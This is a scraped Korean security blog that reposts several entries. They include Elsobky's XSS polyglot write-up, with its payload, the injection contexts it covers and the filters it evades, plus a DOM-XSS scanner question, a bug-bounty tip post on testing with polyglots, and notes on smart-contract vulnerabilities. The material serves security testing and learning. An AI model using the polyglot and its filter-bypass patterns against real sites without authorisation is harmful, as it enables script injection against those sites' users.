https://yalujailbreak.net/chimera-jailbreak/

 

Download Chimera jailbreak for iOS 12.0-12.5

Electra Team just released Chimera jailbreak for iPhone XS, XS Max, and XR running iOS 12.0-12.4. Here's how you can download and install it.

yalujailbreak.net

https://ipa-apps.me/

 

Jailbreak & ++Apps No Jb Or Pc

Watusi Vip | v22.5.71 Watusi / OnlineNotify / WAUnlimitedSend / FilesBackup / WhatsAppFix / DuplicatorStore to active OnlineNotify, you need to enter any email,pass then login will be Successful.

ipa-apps.me

 

 

 

 

'모바일' 카테고리의 다른 글

[IOS] 탈옥 탐지(Jailbreak) 코드 예시.  (0) 2022.10.21
iOS 디버깅 우회  (0) 2022.05.14
[apk-mitm] APK 파일 SSL/TLS pinning 우회 및 기능 없애는 방법 (펌)  (0) 2022.04.28
libil2cpp-Patcher  (0) 2022.04.27
android jadx tool  (0) 2021.12.11
블로그 이미지

wtdsoul

,

https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

 

GitHub - 0xSobky/HackVault: A container repository for my public web hacks!

A container repository for my public web hacks! Contribute to 0xSobky/HackVault development by creating an account on GitHub.

github.com

Unleashing an Ultimate XSS Polyglot

Ahmed Elsobky edited this page on Feb 17, 2018 · 20 revisions

Foreword:

When it comes to testing for cross-site scripting vulnerabilities (a.k.a. XSS), you’re generally faced with a variety of injection contexts where each of which requires you to alter your injection payload so it suites the specific context at hand. This can be too tedious and time consuming in most cases, but luckily, XSS polyglots can come in handy here to save us a lot of time and effort.


What is an XSS polyglot?

An XSS polyglot can be generally defined as any XSS vector that is executable within various injection contexts in its raw form.

So, what polyglot you came up with?

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Anatomy of the polyglot (in a nutshell):

  • jaVasCript:: A label in ECMAScript; a URI scheme otherwise.
  • /*-/*`/*\`/*'/*"/**/: A multi-line comment in ECMAScript; a literal-breaker sequence.
  • (/* */oNcliCk=alert() ): A tangled execution zone wrapped in invoking parenthesis!
  • //%0D%0A%0d%0a//: A single-line comment in ECMAScript; a double-CRLF in HTTP response headers.
  • </stYle/</titLe/</teXtarEa/</scRipt/--!>: A sneaky HTML-tag-breaker sequence.
  • \x3csVg/<sVg/oNloAd=alert()//>\x3e: An innocuous svg element.

Total length: 144 characters.

What injection contexts does it cover?

HTML contexts covered:

  • Double-quoted tag attributes:
<input type="text" value="

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

"></input>

Demo: https://jsbin.com/dopepi

  • Single-quoted tag attributes:
<input type='text' value='

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

'></input>

Demo: https://jsbin.com/diwedo

  • Unquoted tag attributes:
<input type=text value=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e></input>

Demo: https://jsbin.com/zizuvad

  • Unquoted tag attributes with HTML-escaped values (may require a click):
<img border=3 alt=jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e>

Demo: https://jsbin.com/gopavuz (note that the click might not be needed with elements that support the onload event handler.)

  • href/xlink:href and src attributes with HTML-escaped values:
<a href="

jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e

">click me</a>

Demo: https://jsbin.com/kixepi

<math xlink:href="

jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e

">click me</math>

Demo: https://jsbin.com/bezofuw

<iframe src="

jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e

"></iframe>

Demo: https://jsbin.com/feziyi

  • HTML comments:
<!--

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

-->

Demo: https://jsbin.com/taqizu

  • Arbitrary common HTML tags:
<title>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</title>

Demo: https://jsbin.com/juzuvu

<style>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</style>

Demo: https://jsbin.com/qonawa

<textarea>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</textarea>

Demo: https://jsbin.com/mecexo

<div>

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</div>

Demo: https://jsbin.com/wuvumuh

Script contexts covered:

  • Double-quoted strings:
var str = "jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e";

Demo: https://jsbin.com/coteco

  • Single-quoted strings:
var str = 'jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e';

Demo: https://jsbin.com/bupera

  • Template strings/literals (ES6):
String.raw`jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e`;

Demo: https://jsbin.com/rewapay

  • Regular expression literals:
var re = /jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e/;

Demo: https://jsbin.com/zepiti

  • Single-line and multi-line comments:
<script>

//jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

</script>

Demo: https://jsbin.com/fatorag

<script>
/*

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

*/
</script>

Demo: https://jsbin.com/vovogo

JS sinks:

  • eval:
eval(location.hash.slice(1));

Demo: https://jsbin.com/qejisu#jaVasCript:/*-/*%60/%5C%60/*'/%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • setTimeout:
setTimeout(location.search.slice(1));

Demo: https://jsbin.com/qawusa?jaVasCript:/*-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • setInterval:
setInterval(location.search.slice(1));

Demo: https://jsbin.com/colese?jaVasCript:/*-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • Function:
new Function(location.search.slice(1))();

Demo: https://jsbin.com/hizemi?jaVasCript:/*-/*%60/*%5C%60/*'/*%22/**/(/*%20*/oNcliCk=alert()%20)//%0D%0A%0d%0a//%3C/stYle/%3C/titLe/%3C/teXtarEa/%3C/scRipt/--!%3E%5Cx3csVg/%3CsVg/oNloAd=alert()//%3E%5Cx3e

  • innerHTML/outerHTML and document.write with HTML-escaped strings:
var data = "jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e";
document.documentElement.innerHTML = data;

Demo: https://jsbin.com/nimokaz

var data = "jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e";
document.head.outerHTML = data;

Demo: https://jsbin.com/yowivo

var data = "jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e";
document.write(data);
document.close();

Demo: https://jsbin.com/ruhofi

  • Event handlers with HTML-escaped values:
<svg onload="

void 'javascript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e';

"></svg>

Demo: https://jsbin.com/puboha

Filter evasion:

As you might have already noticed, the polyglot has been crafted with filter evasion in mind. For instance:

  • jaVasCript:, oNcliCk=, et al. bypasses:
preg_replace('/\b(?:javascript:|on\w+=)/', '', PAYLOAD);
  • /*`/*\` bypasses:
preg_replace('/`/', '\`', PAYLOAD);
  • </stYle/</titLe/</teXtarEa/</scRipt/--!> bypasses:
preg_replace('/<\/\w+>/', '', PAYLOAD);
  • --!> bypasses:
preg_replace('/-->/', '', PAYLOAD);
  • <sVg/oNloAd=alert()//> bypasses:
preg_replace('/<\w+\s+/', '', PAYLOAD);

Bonus attacking contexts covered:

CRLF-based XSS:

HTTP/1.1 200 OK
Date: Sun, 01 Mar 2016 00:00:00 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: x=jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//

//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Error-based SQL injections (yes, SQLi!):

SELECT * FROM Users WHERE Username='jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e'
SELECT * FROM Users WHERE Username="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"
And even more; eish...I'm tired counting down already!
  •  

'경로 및 정보' 카테고리의 다른 글

Heidi SQL Portable  (0) 2022.05.20
criminal ip  (0) 2022.05.17
[Ethereum] Smart Contract 보안 취약점 가이드  (0) 2022.05.11
URL 경로 확인  (0) 2022.05.03
Wordpress 추가  (0) 2022.05.02
블로그 이미지

wtdsoul

,

DOM 기반 XSS (펌)

2022. 5. 11. 13:17

DOM 기반 XSS 방어 관련 질문입니다.


https://okky.kr/article/872734?note=2239980

 

OKKY | DOM 기반 XSS 공격의 개념이 잡히질 않아 질문드립니다.

DOM Base XSS cheat sheet 문서를 읽어보는데 이해가 어려워 질문드립니다. DOM 기반 XSS 공격에 대해 URL에 포함된 악성 스크립트가 동작하여 발생하는 문제라고 배웠습니다. 이에 대해 HTML 코드로 인식

okky.kr

 

상기 링크의 질문에서 이어서 한 번 더 질문드리고자 합니다.

 

현재 관리 중인 페이지가 보안 검사 결과 URL 전반에서 DOM 기반 XSS 공격에 취약판정을 받았습니다.

 

공격받은 내용의 예시는 아래와 같습니다.

 

URL : https://127.0.0.1/cgi-bin/pglogin.cgi#jaVasCript:/*-/*`/*\`/*'/*"/**/(/*  */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Method : GET

 

공격받은 URL (https://127.0.0.1/cgi-bin/pglogin.cgi ) 은 페이지 접속을 담당하는 CGI 전반이며

 

예시에 해당하는 URL로 접속하면 아래의 정적 HTML 문서를 전달합니다.

 

 

<!DOCTYPE HTML>
<html>
        <head>
                <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
                <link type="text/css" rel="stylesheet" href="/css/style.css"/>
                <link type="text/css" rel="stylesheet" href="/css/jquery-ui.min.css"/>
                <link type="text/css" rel="stylesheet" href="/css/jquery.highlighttextarea.min.css"/>
                <!--
                <link type="text/css" rel="stylesheet" href="/css/offline-theme-default.css"/>
                <link type="text/css" rel="stylesheet" href="/css/offline-language-english.css"/>
                -->
                <script type="text/javascript" src="/js/jquery-3.5.1.min.js"></script>
                <script type="text/javascript" src="/js/jquery-ui.min.js"></script>
                <script type="text/javascript" src="/js/jquery.highlighttextarea.min.js"></script>
                <script type="text/javascript" src="/js/util.js"></script>
                <script type="text/javascript" src="/js/loginaction.js"></script>
                <!--
                <script type="text/javascript" src="/js/offline.min.js"></script>
                -->

                <title>Monitoring Tool Demo</title>
        </head>
        <body onload="initAntiCsrf()">
          <div align="center" halign="center">
            <div id="header">
              <table class="ttl_table">
                <tr>
                  <td class="ttl_title"><font size="5">Monitoring Tool Demo</font></td>
                </tr>
                <tr>
                  <td class="ttl_name">
                    &nbsp;
                  </td>
                </tr>
              </table>
            </div>
            <!-- vim:set ts=8 sts=2 sw=2: -->
            <table>
                        <h2>Log In</h2>
                        <tr>
                                <td>Name</td>
                                <td><input type='name' style='width:150px;' name='nm' maxlength='25' size='16' id="nm_input" required></input></td>
                        </tr>
                        <tr>
                                <td>Password</td>
                                <td><input type='password' style='width:150px;' name='ps' onKeyDown='EnterLogin(event);' maxlength='16' size='16' id="pw_input" required></input></td>
                        </tr>
                </table>
                <div id="warning" style="color:red; font-weight:bolder;"></div>
            <p>
                <input type='button' value='Log In' style='width:100px;' name='action'  onClick='BtLogin();' >
                &nbsp;&nbsp;&nbsp;
                <input type='reset' value='Cancel' style='width:100px;'>
            </p>
          </div>
        </body>
</html>

 

Input에 대한 검증 등은 전적으로 서버가 수행중이기에 이 부분도 고쳐야할 것 같습니다만...

 

제가 지식이 없어서인지 단순 페이지를 불러오는 URL에서 위와 같은 #을 활용한 공격법으로 취약판정이 나오는건 여전히 어째서인지를 모르겠습니다...

 

혹시 짐작가시는게 있다면 도와주시면 정말 감사하겠습니다.

'' 카테고리의 다른 글

SSRF (펌)  (0) 2022.06.14
HTTP Request Smuggling (펌)  (0) 2022.06.14
XSS 버그바운티 (펌)  (0) 2022.05.11
Wordpress file uplad exploit 확인  (0) 2022.05.02
wordpress 대표적인 취약점 정리  (0) 2022.04.29
블로그 이미지

wtdsoul

,

XSS 버그바운티 (펌)

2022. 5. 11. 13:15

https://te-ra.tistory.com/43

 

[XSS 버그바운티 TIP] XSS polyglots

최근 몇 주전에 모사이트 XSS 취약점을 발견하여 보고하게 되었다. 버그바운티를 하면서 공부할때와 리얼월드는 XSS을 찾는 방법이 차이가 있다는 것을 느꼈다. 아직 누군가에게 설명할 정도는

te-ra.tistory.com

 

 

https://github.com/TyrantSec/Fuzzing/blob/master/XSS-Polyglots/99-XSS-Polyglots.txt

 

최근 몇 주전에 모사이트 XSS 취약점을 발견하여 보고하게 되었다.

 

버그바운티를 하면서 공부할때와 리얼월드는 XSS을 찾는 방법이 차이가 있다는 것을 느꼈다.

아직 누군가에게 설명할 정도는 아니지만 초보자의 입장에서 어떻게해서 어떻게 XSS를 발견했는지를 적어보려한다.

 

 

XSS 진단

보통 XSS를 처음 공부하면 <script>alert(1)</script>식의 alert()함수를 터트리는 치트시트로 점검해야한다 생각한다.

 

alert()함수를 터트린 XSS스크립트

 

 

 

하지만 실제 웹사이트에서는 기본적인 것들은 이미 보호가 되어있어 alert()함수를 떡하니 띄어주지 않는다. alert()함수 성공 유무로 XSS를 진단 하는 것은 오래된 사이트가 아니라면 기대하기 힘들다.  alert()함수가 아닌 브라우저의 스트립트 오류를 유도하여 XSS발생 가능성을 확인하는 것이 선행되야한다.

 

XSS는 기본적으로 웹페이지에 의도치않은 스크립트가 삽입되어 발생한다.  XSS가 적용된다는 것은 <>"'--> 등 스크립트에 사용되는 문자에 의해 오류가 발생될 수 있는 환경이라는 것이다. alert()를 띄우는 것은 모든 조건이 맞아야 실행되지만 특정 문자로인한 스크립트 오류는 상대적으로 확인하기 쉽다. 

 

그렇기에 기본 치트시트 보다는 여러환경에서 오류를 확인할 수 있는 XSS polyglots 치트시트를 추천한다.

또한 XSS오류가 발생했는지 개발자도구를 통해 쉽게 확인할 수가 있다. 

 

XSS Polyglots

XSS Polyglots이란 다양한 환경에서 XSS발생 가능성을 확인하기위해 이를 유도하는 구문을 한줄로 정리한 것이다. 

XSS 치트시트는 각 환경에서 alert()를 테스트할 목적으로 각 상황별 여러 가지의 스크립트를 모아 두었다면 XSS Polyglots은 모든 상황에서 쓰일 수 있는 구문을 담기위해 노력한 스크립트라고 생각하면된다.

 

GitHub에서 Polyglots예시를 가져왔다.

github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

 

0xSobky/HackVault

A container repository for my public web hacks! Contribute to 0xSobky/HackVault development by creating an account on GitHub.

github.com

6가지의 XSS 가능성을 제시한 polyglots 스크립트이다.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

 

다음과 같은 6가지 XSS가능성을 점검한다.

  • jaVasCript:: A label in ECMAScript; a URI scheme otherwise.
  • /*-/*`/*\`/*'/*"/**/: A multi-line comment in ECMAScript; a literal-breaker sequence.
  • (/* */oNcliCk=alert() ): A tangled execution zone wrapped in invoking parenthesis!
  • //%0D%0A%0d%0a//: A single-line comment in ECMAScript; a double-CRLF in HTTP response headers.
  • </stYle/</titLe/</teXtarEa/</scRipt/--!>: A sneaky HTML-tag-breaker sequence.
  • \x3csVg/<sVg/oNloAd=alert()//>\x3e: An innocuous svg element.

많은 상황을 커버 할 수 있는 스크립트를 제작한다면 하나의 스크립트로 한번에 여러가지 XSS가능성을 점검할 수 있을 것이다.

 

XSS Polyglots 활용법

XSS Polyglots이 적용됐는지는 개발자 도구를 통해 쉽게 확인 할 수 있다.

실제 사이트에 적용되는 곳을 찾았다 해도 함부로 공개할 수 없기에 연습용 사이트를 참고했다.

위의 스크립트에서 alert() 제외하고 XSS를 찾아보겠다.

사용한 스크립트이다.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk= )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=//>\x3e

 

xss-quiz.int21h.jp/

 

XSS Challenges (by yamagata21) - Stage #1

XSS Challenges Stage #1 Notes (for all stages): * NEVER DO ANY ATTACKS EXCEPT XSS. * DO NOT USE ANY AUTOMATED SCANNER (AppScan, WebInspect, WVS, ...) * Some stages may fit only IE. Ranking (optional): If you want to participate in ranking, please register

xss-quiz.int21h.jp

svg상황에서 XSS발생 가능성이 있다는 것을 확인할 수 있다.

 

스크립트를 적용한 이미지

이렇게 대놓고 적용된다고 안뜨더라도 스크립트의 영향으로 오류가 발생하였다면 크롬 개발자 도구에서 콘솔창에 오류가 있는 페이지를 띄어준다. 마땅한 예시를 찾는다면 업데이트를 하겠다.

 

 

정리

XSS Polygolts -> 오류발생 or 스크립트 발생 확인 -> 검증 스크립트 유도

기본적인 XSS 진단은 3가지 프로세스를 사용하여 XSS취약점을 발견하였다.

XSS를 잘 적용하기위해선 발생가능한 환경을 잘 파악해두는 것이 첫번째이다.

예전에 비해 웹사이트 보안이 강화되어 찾기 어렵게 됐지만 아직 잘 찾아보면 한두개는 존재하는 것 같다.

찾는데 시간이 오래걸리지만 찾으면 용돈도 되고 스펙도 되니 모두 잘 노력해서 찾아보자

 

'' 카테고리의 다른 글

HTTP Request Smuggling (펌)  (0) 2022.06.14
DOM 기반 XSS (펌)  (0) 2022.05.11
Wordpress file uplad exploit 확인  (0) 2022.05.02
wordpress 대표적인 취약점 정리  (0) 2022.04.29
Wordpress 정리  (0) 2022.04.29
블로그 이미지

wtdsoul

,

 

https://jihyeong-ji99hy99.tistory.com/206

 

[Ethereum] Smart Contract 보안 취약점

이더리움 보안 가이드라인 - Minimalism : 꼭 필요한 기능들만 가진 contract을 제작하자. - Code reuse : 코드를 작성할 때 library를 찾아서 써라. - Code quality : 제작된 contract은 항상 블록체인에 올라가..

jihyeong-ji99hy99.tistory.com

 

 

이더리움 보안 가이드라인

- Minimalism : 꼭 필요한 기능들만 가진 contract을 제작하자.
- Code reuse : 코드를 작성할 때 library를 찾아서 써라.
- Code quality : 제작된 contract은 항상 블록체인에 올라가 있다. 따라서 처음 만들 때 제대로 만들어서 사용하자.
- Readability : 가독성이 좋도록 작성하자.
- Test coverage : 다양한 형태의 input 값을 테스트 해보자.

 

 

대표적인 취약점

1) Reentrancy 공격

: fallback() 함수를 이용한 취약점이다. 사용자가 외부 공격자의 contract 코드를 사용했을 때, 호출한 함수가 존재하지 않는다면 공격자 contract의 fallback() 함수가 동작된다. 그럼 이때, fallback 함수 안에 악의적인 코드를 넣어 얻어걸릴 수 있는 취약점이다.

(해결방안) - transfer 함수 사용

            - 외부 call이 필요할 시에는 내부 state를 미리 다 변화시키기

            - 뮤 택스를 사용

 

2) Overflow와 Underflow

: 자료형을 사용할 때 지정된 범위를 넘어서면 언더 플로 혹은 오버플로가 발생한다. 값을 넘겨줄 때 발생할 수 있다.

(해결방안) - 직접 대입 X

             - assert() 함수로 확인하는 작업 추가

             - 안전한 library를 사용

 

3) Unexpected Ether

: 공격자가 A라는 account가 만들어지는 것과 account의 address를 추측할 수 있다면, 발생할 수 있는 취약점이다. 해당 계정이 생성되기 전에 해당 address로 이더를 전송하면 none-zero ether balance를 가진 account가 생성된다. 이러한 계정은 이더 게임에서 악용될 수도 있다. 

(해결방안) - this.balance를 직접 사용 X

 

4) Delegate Call

: 사용자가 외부 contract을 사용할 경우, 호출한 contract의 context는 본인의 context 기반이 아니라 호출한 context 기반으로 코드가 동작된다. library를 사용할 때 발생할 수도 있으며, 호출한 쪽의 state 기반으로 동작되기 때문에 원래와는 다른 용도로 동작될 수 있다.

(해결방안) - library keyword를 사용 >> 무조건 외부 state를 가져와서 사용할 수 있도록 함.

 

5) Default Visbilities

: 함수 키워드를 사용하지 않을 때 발생하는 취약점이다. 함수 키워드를 작성하지 않으면 기본적으로 public으로 지정된다. 따라서 제작자의 실수로 코드가 유출될 수도 있고, 공격자들은 디렉트로 함수로 접근할 수 있게 된다.

(해결방안) - 함수 키워드 반드시 작성

 

6) Entropy Illusion

: 난수 생성에 대한 취약점이다. 이더리움에는 난수를 생성할 수 있는 소스가 존재하지 않는다. 따라서 다양한 난수 생성과 관련한 접근이 존재했는데, 그중 하나의 예시로 미래에 생성되는 값을 가져와서 쓰고 현재 참여한 시점에서 나중의 값을 예측할 수 없기 때문에 해당 값을 난수로 사용할 수 있다는 아이디어이다. 하지만 마이닝을 통해 혹은 아예 결과를 예측할 수 없을 것이라고 단정 짓기는 어렵기 때문에 취약점이 발생할 수도 있다.

 

7) Vulnerability

: 외부 contract을 호출할 때 발생할 수 있는 문제점으로, 사용자는 호출한 contract이 본인이 사용하려는 conrract인지 확인하지 않기 때문에 다른 address가 들어가게 될 경우를 알 수 없다.

(해결방안) - 내부 distance로 작성하여 사용

            - 외부 함수 호출 코드는 public으로 작성 // 다른 사람이 이걸 쓸 때 취약하다고 판단되면 알아서 안 쓰겠지.. 마인드

 

8) Unchecked Call Return value

: call 함수나 send 함수를 사용할 때 리턴 값을 제대로 확인하지 않아 발생하는 취약점이다. 앞서 이더리움에서는 문제가 생기면 자동으로 reboot 되는 개념을 설명한 적이 있다. 따라서 해당 리턴 값을 잘 확인하지 않는 경우가 생기는데, send 함수의 예로, gas price가 부족하여 정보를 다 불러오지 못하게 되면 contract은 이를 return false로 반환한 뒤에 다음 코드를 실행시킨다. 즉, 정상작동이라는 의미이다.

(해결방안) - transfer() 함수 사용

             - return value 체크

             - withdrawal 패턴 사용

 

9) Race Condition / Front Running

: 사용자에 따라 gasprice가 높은 transaction을 먼저 받아들일 수 있다. 따라서 정답을 알아맞히는 게임에서 A가 정답을 보냈는데 B가 이를 베껴 똑같이 관리자에게 보내게 되면 관리자는 gasprice가 높은 B를 먼저 보게 된다. 

(해결방안) 두 페이지를 나눠서 제공한다. 즉 제일 처음 transaction은 데이터를 숨겨서 보내고, 확인 시에 정답 데이터를 transaction 할 수 있도록 함. (hash 함수에서와 동일)

 

 

'경로 및 정보' 카테고리의 다른 글

criminal ip  (0) 2022.05.17
Unleashing an Ultimate XSS Polyglot  (0) 2022.05.11
URL 경로 확인  (0) 2022.05.03
Wordpress 추가  (0) 2022.05.02
ipv4 대신 경로 참고  (0) 2022.04.30
블로그 이미지

wtdsoul

,